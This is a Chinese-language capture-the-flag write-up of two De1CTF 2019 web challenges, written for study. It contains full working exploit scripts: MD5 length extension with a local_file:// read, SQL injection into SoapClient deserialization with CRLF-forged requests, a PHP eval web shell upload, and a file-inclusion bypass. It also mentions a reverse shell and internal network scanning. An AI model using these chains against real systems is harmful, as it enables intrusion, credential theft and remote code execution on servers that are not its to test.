浅析De1CTF 2019的两道web SSRF ME && ShellShellShell
0x0 前言
这两道题目一个目测感觉是送分题还有一道是原题,但是过程挺有意思的,这里简单记录下。
0x1 题目介绍
SSRF ME
ShellShellShell
这两道题其实有点偏脑洞成分,不过给出了hint
,下面主要挑点有价值的点来学习下。
0x2 SSRF ME 解题过程
这个题目不是特别有意思,简单的python审计+ Md5扩展长度攻击,但是有意思的是可以总结下Md5扩展攻击的秒题思路,以及脚本编写。
题目链接 (我做的时候题目环境还在:)
0x2.1 step1 审计源代码
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)
这里丢一下我当时自己再做这个题目写的一些草稿。
# 自己跟一遍然后梳理逻辑记录下来,多次重复锻炼然后再提高梳理逻辑的速度。
action = urllib.unquote(request.cookies.get("action"))
# print(action)
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request
.cookies.get("sign"))
ip = request.remote_addr
# 这里通过 http协议的header头Cookies: action=123;sign=ss
# 还有URLPath的query: ?param=123
# 去设置 class Task 初始化实例时 调用的实例
if(waf(param)): # file protocol can be bypassed by use local-file:// (urllib cve)
return "No Hacker!!!!"
task = Task(action, param, sign, ip) # follow it
# task = Task(action, param, sign, ip)
# return json.dumps(task.Exec()) 这里调用了Exec,而且采用了json.dumps return到了前端
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
print ip
# 读下Exec,简化下逻辑
# 首先self.checkSign() 第一重限制
# def checkSign(self): 核心 getSign(self.action, self.param) == self.sign
# def getSign(action , param) 核心:
# return hashlib.md5(secert_key + param + action).hexdigest()
# 然后分析下代码:
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param) # here is vulunerability
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp # here,just print resp in server,dont't output user
tmpfile.write(resp) # save result to result.txt
tmpfile.close()
result['code'] = 200
if "read" in self.action: # so we must run it to output result
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
# 整理下整个题目的思路:
# 两个限制的绕过
# def waf(content) -----> local-file://
# def checkSign(self) ---> md5扩展攻击
# 这里比较让我烦躁的就是md5扩展攻击,因为我有时候忘记原理了,这里又要看下文章回顾下,一方面当时好像自己 # 没写一些脚本去说明和简化这类型的通用解法
# https://github.com/mstxq17/cryptograph-of-web 之前自己写的原理介绍,但是没写工具介绍
# 趁着这次做题,补充下做题的工具做法
@app.route("/geneSign", methods=['GET', 'POST']) # get step1
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
# secert_key + param + action -> secert_key(len:16) + param + 'scan'(len:4)
# need secert_key(len:16) + 'local-file:///etc/passwd' + 'readscan'(len:4)
# secert_key(len:16) + 'local-file:///etc/passwd'(len:24) + 'scan' 这里要变换下key
# /geneSign?param=local-file:///etc/pwd
# fe28521b6c224cad35396cacdb118890
# secert_key <=> secert_key(len:16) + 'local-file:///etc/passwd'(len:24) (len:40)
写的比较乱哈,当时有脑抽了,本来到这里,完全可以利用那个
/geneSign?param=local-file:///etc/passwdread
生成对应的md5的了,
我当时也简单想了下,当时自己把正确的出题思路想通了,结果。。。以为就不行了。
这个题目这样判断的话就没办法了。
if "read" in self.action
=> if "scanread" in self.action:
(因为你是不可能获取到read为结尾的md5呀,是不是特别好理解,我当时就是理所当然了,以为代码是这样的。)
当时可能眼花了,其实另一方面是我觉得这个题目虽然挺普通,但是能再次回顾下md5扩展思路的一些做题技巧,因为自己大一大二一直在学习知识拓展自己的知识面,所以很少做ctf的题目,平时遇到什么类型的题基本就是自己重新理解然后写脚本来做的,所以做题速度很慢,反正就是特别菜那种,所以吸取教训之后,我就需要把一些常见的知识点写出快速秒题脚本和思路总结起来。 let us start………….
0x2.2 md5扩展攻击原理及其脚本浅析
关于原理,小弟不才,写了篇文章放在了githud上cryptograph-of-web
我们可以通俗简单理解下md5扩展攻击原理:
常用的攻击形式:
已知: md5(secretkey+'x')
未知: key的值
求md5(secretkey+'x补位长度个\x00'+'aaa') 其实更通用的说法就是构造个能带有aaa的md5值
原理很简单:
MD5以512比特(64字节)为一组进行分组加密得到ABCD变量最后ABCD变量的级联就是最后的MD5值
那么大于64字节之后,那么ABCD变量就是前面64字节md5后的结果。
根据题目来看看怎么攻击:
0x2.3 简单分析预期考点local_file
首先我们要确定下我们读取的文件的路径:
看到waf再看到check.startswith
匹配开头file
我就知道先去搜下cve了
网址如下:
很明显有这个bug,我们跟进源码看看为啥。
mac安装路径:
/usr/local/Cellar/python@2/2.7.15_1/Frameworks/Python.framework/Versions/2.7/lib/python2.7
然后简单看下urlopen
方法
看到file
协议也是调用了封装的local_file
协议
成因及其代码都相当简单,这个不是重点就不多讲了。
0x2.4 Hashdump工具使用教程
我们根据文件读取,可以读取/root/.history
然后得到flag路径,就是local_file:///app/flag.txt
那么我们怎么构造满足条件的md5呢
先生成已知值:md5(secretkey+local_file:///app/flag.txt + 'scan')
77a4adb63c86bd6e8ad440e6123c3872
构造生成: md5(secretkey+local_file:///app/flag.txt + 'scan' + 'read')
其实你有没有发现,这里跟我上面说的有点不太一样,其实你换个角度想下
也就是把secretkey+local_file:///app/flag.txt
=>看成secretkey
不就是和上面等价了吗
然后打开:
然后用下小脚本转换为urlencode形式
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x01\x00\x00\x00\x00\x00\x00read
str = r'scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x01\x00\x00\x00\x00\x00\x00read'
print str.replace(r'\x','%')
得到:
scan%80%00%00%00%00%00%00%00%00%00p%01%00%00%00%00%00%00read
然后按照python代码传递对应的参数即可。
0x 2.5 python脚本
我感觉调用那个hashdump有点麻烦,那么有没有相关的python库能直接调用呢。
@一叶飘零师傅写的脚本
#!/usr/bin/python
# -*- coding:utf-8 -*-
import hashpumpy
import requests
import urllib
url = 'local_file:flag.txt'
r = requests.get('http://139.180.128.86/geneSign?param='+url)
old_sign = r.content
new_sign = hashpumpy.hashpump(old_sign, url + 'scan', 'read', 16)
cookies={
'sign': new_sign[0],
'action': urllib.quote(new_sign[1][19:])
}
r = requests.get('http://139.180.128.86/De1ta?param='+url, cookies=cookies)
print(r.content)
这里有个关键的配置,可以简单说下
new_sign = hashpumpy.hashpump(old_sign, url + 'scan', 'read', 16)
1.oldsign
代表是md5(secret+'local_file:flag.txt'+'scan')
2.url + 'scan'
代表'local_file:flag.tx' + 'scan' =local_file:flag.txscan
3.read
作为按要求填充的位置。
其实42和16都是可以,关键是你怎么计算key的长度和选取input的内容。
这里取key为16那么input的内容就是local_file:flag.txtscan
上面我那个样例取key为42那么input的内容就是'scan'。
0x2.6 谈谈关于路径查找及其协议路径问题
关于flag的路径,我是通过读取/root/.history
猜到的。
其实这个题目其实都不用绕过协议也行
我们直接传入文件名也可以读取,因为不存在协议的时候,默认就是file
协议
所以local-file
也是可以的(我也不知道作者为啥这样写)
然后我们也可以可以发现前面payload:
local_file:flag.txt
路径就是相对脚本的路径
而
local_file://
就必须使用绝对路径(协议一般都是这样)
我们可以简单分析下代码:
这里通过getattr
进行了相应协议的调用的,我们跟进看下file
及其local_file
你使用file:urllib.py
或者local_file:urllib.py
都不会满足
if file[:1] == '/':
urlfile = 'file://' + file
elif file[:2] == './':
raise ValueError("local file url may start with / or file:. Unknown url of type: %s" % url)
return addinfourl(open(localname, 'rb'),
headers, urlfile)
最后直接把文件名传入了
return addinfourl(open(localname, 'rb'),
headers, urlfile)
还有个很有意思的点,(湖大一个师傅给的,膜)
local-file:///proc/self/cwd/flag.txt
其中
/proc/self/cwd/
代表的是当前路径
很明显cwd指向的总是bash的进程,也就是取当前路径的意思。
0x3 ShellShellShell 解题过程
浅评这道题目:
这个题目虽然是原题,但是做题步骤相当繁琐,很考验一个ctfer的能力,通过复现这道题,感觉学习了很多东西。
由于题目链接已挂,我只好本地dokcer起服务来完成复盘了。
docker build -t de1ctf:web .
docker run --name ctf_de1ctf -p 8887:80 de1ctf:web
全部web服务启动:
docker-compose up -d
下载源码直接采取
官方wp的脚本GetSwp.py
(感觉这个考点对于这个题目来说没啥必要)
#coding=utf-8
# import requests
import urllib
import os
os.system('mkdir source')
os.system('mkdir source/views')
file_list=['.index.php.swp','.config.php.swp','.user.php.swp','user.php.bak','views/.delete.swp','views/.index.swp','views/.login.swp','views/.logout.swp','views/.profile.swp','views/.publish.swp','views/.register.swp']
part_url='http://45.76.187.90:11027/'
for i in file_list:
url=part_url+i
print 'download %s '% url
os.system('curl '+url+'>source/'+i)
0x3.1 step1 发现注入点
首先发现了各个文件都包含了config.php
,跟进看看
function addsla_all()
{
if (!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
}
addsla_all(); //这里调用了全局过滤,采用了addslashes,addslashes_deep跟进这个函数可以知道
这样我们基本不要想什么插入单引号,反斜杠啥的,但是是不是不能注入呢,答案是否定的。
比如一些$_SERVER变量
或者没有单引号包裹的可控点
找注入的话,我们还是得看底层操作封装的安全性。
private function get_column($columns){
if(is_array($columns))
$column = ' `'.implode('`,`',$columns).'` ';
else
$column = ' `'.$columns.'` ';
return $column;
}
public function insert($columns,$table,$values){
$column = $this->get_column($columns);
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
$nid =
$sql = 'insert into '.$table.'('.$column.') values '.$value;
$result = $this->conn->query($sql);
return $result;
}
稍微修改下代码,方便本地调试
<?php
function get_column($columns){
if(is_array($columns))
$column = ' `'.implode('`,`',$columns).'` ';
else
$column = ' `'.$columns.'` ';
return $column;
}
function insert($columns,$table,$values){
$column = get_column($columns);
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values)).')';
$nid =
$sql = 'insert into '.$table.'('.$column.') values '.$value;
// $result = $this->conn->query($sql);
return $result;
}
?>
一开始先自己读一下处理下逻辑。
//insert table (`column1`, `column2`, `column3`) values (`value1`, `value2`, `value3`)
//mysql插入语句 涉及就是 table column value
//所以首先我们可以先看下get_column这个函数
function get_column($columns){
if(is_array($columns)) //判断$columns 变量是不是数组,如果是的话就进行下面的拼接
$column = ' `'.implode('`,`',$columns).'` ';
//读这句代码,很容易看错,我们需要切割来看,这里利用了`,`作为连接符号 array('1',)
//array('1','2') => 1`,`2 => `1`,`2`
// ' `' . implode('`,`',$columns) . '` '
else
$column = ' `'.$columns.'` ';
return $column;
}
//这里感觉还是没问题的,我们继续分析下去
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values)).')';
// 提取出来分析: preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values))
$nid =
$sql = 'insert into '.$table.'('.$column.') values '.$value;
简单谈谈preg_replace
的用法
// 我们首先了解preg_replace的Description
//preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
//Searches subject for matches to pattern and replaces them with replacement.这样就能很好理解第一个是规则,第二个是替换内容,第三个是需要替换的字符串
preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values))
这里关于
replacement
有个占位的用法$n or //n 对应的是 第n个子正则也就是括号起来的代表是一个子分组。
所以说:
preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values))
//[^`,] 这个正则的意思就是除开 ` 和 ,字符去匹配其他字符。 其实就是处理value是数组的情况
//这段代码的功能就是把`1` => '1'
//但是对于 1`or# => `1`or#` (没有可以切割的)
//然后进行替换的时候(他是根据``配对来匹配的)先匹配了前面的`1`然后后面的or#`就逃逸出单引号了,导致了注入
那么正确的写法是怎么样的呢?
$value = '('.preg_replace('/`(.*)`/','\'${1}\'',get_column($values)).')';
//这样就限制死了,不会逃逸出去了,但是这样只能处理一个没办法处理数组
//这也是这个代码注入出现的成因
// 考虑到了 如果是数组的情况 `1`,`2`,`3` 转换为 '1','2','3' 直接用那个正则是会产生注入的
//我们可以直接 str_replace('`','\'',),但是这样还是不行,至于为什么。呵呵。。。
// 那么什么方案才是比较合理的呢?
// 1.过滤输入的` 这才是根源
也就是说我们直接引入反引号,就有可能导致注入,那么我们全局搜索看看哪里进行了insert
操作。
那我们直接跟进看看
@$ret = $db->insert(array('username','password','ip','is_admin','allow_diff_ip'),'ctf_users',array($username,$password,get_ip(),'0','1')); //No one could be admin except me
//首先username做了过滤
//$password 进行了md5
// get_ip() <= return $_SERVER['REMOTE_ADDR'];
//所以这里没办法进行注入,没有可控的变量。
但是还有下一处,我们跟进看看
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
//这里的$value参数里有个$_POST['signature'],这样我们就可以进行注入了。
但是这个题目有挺多限制的,首先需要登陆,登陆的话就需要注册,注册的话就要跑一下验证码
我们可以选择跟进验证码生成的代码流程看看。
function rand_s($length = 8)
{
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|';
$password = '';
for ( $i = 0; $i < $length; $i++ )
{
$password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
return $password;
}
$code = rand_s(3);
$md5c = substr(md5($code),0,5);
$c_view = "substr(md5(?), 0, 5) === $md5c";
$_SESSION['code'] = $md5c;
写个脚本快速注册一个账号,之后直接丢给sqlmap跑就好了(只要没过滤,或者简单过滤,我都推荐直接用sqlmap跑,毕竟优化做得好呀)
我们可以跑出账号和密码为:
| id | ip | username | is_admin | password | allow_diff_ip |
+----+------------+----------+----------+---------------------------------------------+---------------+
| 1 | 127.0.0.1 | admin | 1 | c991707fdf339958eded91331fb11ba0 | 0 |
| 2 | 172.17.0.1 | admin321 | 0 | 4acb4bc224acbbe3c2bfdcaa39a4324e (admin321) | 1 |
第二个是我注册的,第一个我们去解密一下
因为在login.php
是md5($_POST['password'])
我们可以得到用户名和密码是:
admin jaivypassword
0x3.2 step2 SoapClient反序列化+ CRLF + SSRF 上传拿shell1
这里登陆的admin的话做了个验证,因为由上面我们可以知道
allow_diff_ip=0
所以我们要找其他办法去绕过这层限制,最容易想到的就是ssrf了,但是这个要发送post数据包,我们先继续整理下代码,看看有没有其他有意思的点,比如一些变量覆盖什么的,呵呵。。。(这道题很适合拿来改编)
这里我们可以发现进行了一个unserialize
反序列化数据的操作,并且我们可以通过注入控制序列化内容。
触发点在: views/index.php
所以我们可以全局搜索下有没有相关的魔术方法可以构造下pop链。
结果找了下好像没有,然后自闭了。。。。。php学得太浅了。。。(ps。膜一叶飘零师傅18年就这么强了,19年才开始接触php的脚本小子菜哭。)
后面我会通读一些php内置类的源码(可以跟一下php7最新的类),实践下触发反序列化的骚操作,好好补充下自己这方面的缺点。
这里贴一下柠檬师傅,fuzzphp内置类的php代码,重点是两个内置方法
get_declared_classes
get_class_methods
$ php fuzz_class.php
<?php $classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print $class . '::' . $method . "\n"; } } }
下面开始是反序列化重点学习SoapClient分割线。。。。。。。。。(感叹自己真的是特别菜。。。)
利用条件:
通杀php5、php7
关于SOAPAction
怎么CRLF,N1CTF Easy&&Hard Php Writeup写的很详细。
这里我从源码开始跟一下user_agent
是怎么导致CRLF SSRF攻击的。
首先了解下SOAP的概念
SOAP(simple object access protocol)
简单对象访问协议是交换数据的一种协议规范,是一种轻量的、简单的、基于XML(标准通用标记语言下的一个子集)的协议,它被设计成在WEB上交换结构化的和固化的信息。
是连接或web服务或客户端和web服务之间的接口
采用HTTP作为底层通讯协议, XML作为数据传送的格式
SOAP信息通常是单向传输。
然后我们看下php中SoapClient
类的用法。
然后序列化的,因为__call
调用_soapCall
发送请求
所以简单的用法就是:
<?php
$a = new SoapClient(null, array('location' => "http://111.230.xxx.xx:8887",
'uri' => "0"));
$a->test();
$b = serialize($a);
echo $b;
unserialize($b);
echo 'test2';
// phpinfo();
?>
关于源码非常好读,直接跟下去就可以理解操作了,这里我提取关键代码出来。
直接看扩展目录 /ext/soap/soap.c
1.注册类
2.调用构造函数PHP_METHOD(SoapClient, SoapClient)
,解析options
参数
3.获取option的user-agent添加到类的属性
4.调用__call
魔术方法 PHP_METHOD(SoapClient, __call)
发起请求
5.最后直接拼接进header
所以我们可以直接引入CRLF攻击,
伪造post请求,关键在于http
协议的两个header
Content-Type: application/x-www-form-urlencoded
content-Length: strlen(post_data)
可以看到user_agent
都在两者的前面,控制长度,便能忽略后面的东西(有空再读一下怎么解析http协议的)
所以我们可以通过利用SoapClient
伪造一个post请求,那么这个post请求除了登陆还有什么用呢。
这里明显可以上传,我们有两个思路,自己通过让session过掉登陆,或者我们直接构造一个上传表单(但是还是得先登陆,不如直接带session去过掉登陆)
0x3.3 step3 内网扫描+审计题 拿flag
这个题目竟然还有下一关是另外一个原题,的确有点出乎意外的,这个题目我就很熟悉啦,p神出的。。。
我们上传shell之后,根据tips,容器通过link
实现内网,我们直接扫c段就行了,执行下命令查看ifconfig
获取ip
因为之前自己也在研究一些内网部署的问题,这里我们分析下怎么快速定位内网范围:
首先我们需要理解两个概念,就是网络地址和主机地址是通过子网掩码来划分的,
子网掩码的作用:
子网掩码可以分离出IP地址中的网络地址和主机地址,那为什么要分离呢?因为两台计算机要通讯,首先要判断是否处于同一个广播域内,即网络地址是否相同。如果网络地址相同,表明接受方在本网络上,那么可以把数据包直接发送到目标主机,否则就需要路由网关将数据包转发送到目的地。
我们平时常说的C段B段A段其实就是:
A类网络缺省子网掩码就是: 255.0.0.0 那么对应的ip比如 192.168.1.1 那么192就是网络地址,后面就是主机地址
B类网络缺省子网掩码: 255.255.0.0
C类网络缺省子网掩码: 255.255.255.0
比如我这个ip就只能是C段通讯的。
所以对于这个题目,我们可以通过3种方式获取到内网的ip
1.ifconfig 查看相关的网卡
2.route 查看相关的路由
3.cat /proc/net/fib_trie 查看路由树
然后直接上传msf的php,反弹shell,然后扫描就行了,我们继续分析下p神那个题目。
<?php
$sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if($_FILES['file']['name'])
{
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename))
{
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1])
{
die("try again!!!");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hello'];
if(@substr(file($_)[0],0,6)==='@<?php')
{
if(strpos($_,$new_name)===false)
{
include($_);
}
else
{
echo "you can do it!";
}
}
unlink($new_name);
}
else
{
highlight_file(__FILE__);
}
这里比较有意思的点是,就是如何解决unlink这个问题。
1.官方wp
利用php://filter/string.strip_tags/resource=/etc/passwd
导致php segemnt fault,从而保留下来文件。
import requests
import hashlib
target = "http://172.18.0.2/"
ip = "172.18.0.3"
path = "/var/sandbox/%s/"%hashlib.md5(("prefix"+ip).encode()).hexdigest()
#proxies={'http':'http://127.0.0.1:8080'}
files = {"file":("x",open("1.txt","rb")),"file[1]":(None,'a'),"file[0]":(None,'b'),"hello":(None,"php://filter/string.strip_tags/resource=/etc/passwd")}
try:
for i in range(10):
requests.post(target,files=files,)
except Exception as e:
print(e)
for i in range(0,1000):
files = {"file":("x",open("1.txt","rb")),"file[1]":(None,'a'),"file[0]":(None,'b'),"s":(None,"system('cat /etc/flag*');"),"hello":(None,path+str(i)+'.b')}
resp = requests.post(target,files=files,).text
if len(resp)>0:
print(resp,i)
break
2.利用../跳出来
3.利用/.
0x4 一些exp脚本完整源码
✘ xq17@localhost$:python serialize.php
<?php
$session_id = $_GET['sessid'];
$code = $_GET['code'];
// $target = 'http://111.230.197.23:8088/index.php?action=login';
// 这里有个坑,因为是ssrf,所以千万不要带外部的端口进来,直接是127.0.0.1/就好了,坑了有点难受
$target = 'http://127.0.0.1/index.php?action=login';
# 这里也是 特殊字符最好urlencode一下
$post_string = 'username=admin&password=jaivypassword&code='.urlencode($code);
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID='.$session_id
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
// echo base64_encode($aaa);
// echo '</br>';
echo bin2hex($aaa);
?>
✘ xq17@localhost$:python getshell_1.py
#!/usr/bin/python
# -*- coding:utf-8 -*-
# Type: UnderScoreCase
import requests
import re
import random
import string
import multiprocessing
from urllib import quote
from hashlib import md5
import sys
debug = False
deep_debug = False
retry_count = 5
timeout = 5
host = 'http://127.0.0.1:8887/'
s = requests.Session()
def get(session, url , params = { 'test': 'test'}, proxies = 0):
retry = 0
while True:
retry += 1
try:
if session:
if proxies:
res = s.get(url, params=params, timeout=timeout, proxies=proxies)
else:
res = s.get(url, params=params, timeout=timeout)
else:
if proxies:
res = requests.get(url, params=params, proxies=proxies)
else:
res = requests.get(url, params=params)
except Exception as e:
if retry >= retry_count:
print('timeout or server error!')
if debug:
print(e)
exit()
continue
break
return res
def post(session, url , data, proxies = 0):
retry = 0
while True:
retry += 1
try:
if session:
if proxies:
res = s.post(url, data=data, timeout=timeout, proxies=proxies)
else:
res = s.post(url, data=data, timeout=timeout)
else:
if proxies:
res = requests.post(url, data=data, proxies=proxies)
else:
res = requests.post(url, data=data)
except Exception as e:
if debug:
print(e)
if retry >= retry_count:
print('timeout or server error!')
exit()
continue
break
return res
def get_plain(cipher, end = 5, length = 5):
characters = '''abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'''
characters_ = list(characters)
while True:
plain = str(''.join(random.sample(characters_, length)))
if md5(plain).hexdigest()[:end] == cipher:
break
return plain
def get_flag(html):
pattern = re.compile('[a-zA-Z0-9]{6}{.*?}')
flag_is = re.search(pattern, html)
if flag_is:
flag = flag_is.group()
print("Get The Flag:.............")
print("Flag<> " + Flag)
else:
print("Flag Not Found!..............")
exit(0)
def get_code(html):
# 验证码正则匹配
pattern = re.compile(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-zA-Z]{5})\)')
cipher = re.search(pattern, html).group(1)
if debug:
print(cipher)
# 配置生成验证码plain长度和cipher的比较的长度
code = get_plain(cipher, 5, 3)
return code
def get_creds():
username = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(10))
password = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(10))
return username, password
def register():
req_url = host + 'index.php?action=register'
username, password = get_creds()
resp = get(1, req_url).text
code = get_code(resp)
if debug:
print(code)
if deep_debug:
print(resp)
data = {
'username': username,
'password': password,
'code': code
}
# finished register, return response html source
reh = post(1, req_url, data).text
if deep_debug:
print(reh)
return username, password
def login(username, password):
req_url = host + 'index.php?action=login'
resp = get(1, req_url).text
code = get_code(resp)
data = {
'username': username,
'password': password,
'code': code
}
# finished login, return response html source
reh = post(1, req_url, data).text
if deep_debug:
print(reh)
return True
def get_admin_session():
req_url = host + 'index.php?action=login'
new_s = requests.Session()
resp = new_s.get(req_url)
code = get_code(resp.text)
return new_s.cookies.get_dict()['PHPSESSID'], code
def publish(sign, mood):
req_url = host + 'index.php?action=publish'
data = {
'signature': sign,
'mood': mood
}
res = post(1, req_url, data)
return res
def get_sql_payload(sessionid, code):
req_url = 'http://127.0.0.1:8888/ctf/de1ctf/serialize.php?sessid={}&code={}'.format(sessionid, quote(code))
resp = requests.get(req_url)
if debug:
print(resp.text)
return resp.text
def get_shell_1(payload, admin_session):
payload = '0x' + payload
payload = 'a`,{})#'.format(payload)
print('[+] injecting payload through sqli')
resp = publish(payload, '0')
if debug:
print(payload)
if deep_debug:
print(resp.text)
print('[+] triggering object deserialization -> ssrf')
req_url = host + 'index.php?action=index'
get(1,req_url)
# trigger end
s.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': admin_session})
req_url = host + 'index.php?action=publish'
resp = get(1, req_url)
if deep_debug:
print(resp.text)
print('[+] uploading shell')
# requests 经典的files用法
shell = {'pic': ('xq17.php', '<?php eval($_POST[1]);echo md5(1);?>', 'image/jpeg')}
resp = s.post(req_url, files = shell)
if deep_debug:
print(resp.text)
link_shell = host + 'upload/xq17.php'
res = get(0, link_shell)
if res.status_code == 200:
print('[+] shell upload success =>' + link_shell)
def main():
username, password = register()
login(username, password)
# # we can get info from sqlmap
# admin_user = 'admin'
# admin_hash = 'c991707fdf339958eded91331fb11ba0'
# admin_pass = 'jaivypassword'
# if debug:
# print(username, password)
# login(admin_user, admin_pass)
# print('[+] admin login({}, {})'.format(admin_user, admin_pass))
# print('[+] admin session => {}'.format(s.cookies.get_dict()['PHPSESSID']))
print('[+] login({}, {})'.format(username, password))
print('[+] user session => {}'.format(s.cookies.get_dict()['PHPSESSID']))
phpsessid, code = get_admin_session()
if debug:
print(phpsessid)
print(code)
print('[+] admin session => {}'.format(phpsessid))
payload = get_sql_payload(phpsessid, code)
get_shell_1(payload, phpsessid)
if __name__ == '__main__':
main()
✘ xq17@localhost$:python getflag.py
一键getshell_1
一键getflag
#!/usr/bin/python
# -*- coding:utf-8 -*-
import requests
host = 'http://127.0.0.1:8888/ctf/de1ctf/'
def get_flag():
req_url = host + 'flag.php'
files = {'file': ('./xq17.php', '@<?php eval($_POST[1]);?>'),'file[1]':(None,'png'),'file[a]':(None,'/../xq17.php')}
res = requests.post(req_url, files = files)
print(res.text)
def main():
get_flag()
if __name__ == '__main__':
main()
这个主要是利用end取决的是最后赋值的文件名而不是根据序号来的,然后就是/../
拼接绕过随机字符串。
0x5 总结
这几个题目都很好锻炼自己去写脚本的能力,还有就是关于webpwn写的差不多了,找些小案例源代码就可以发了。。
0x6 参考链接
De1CTF2019 官方Writeup(Web/Misc) -- De1ta
-
-
-
-
-
-
-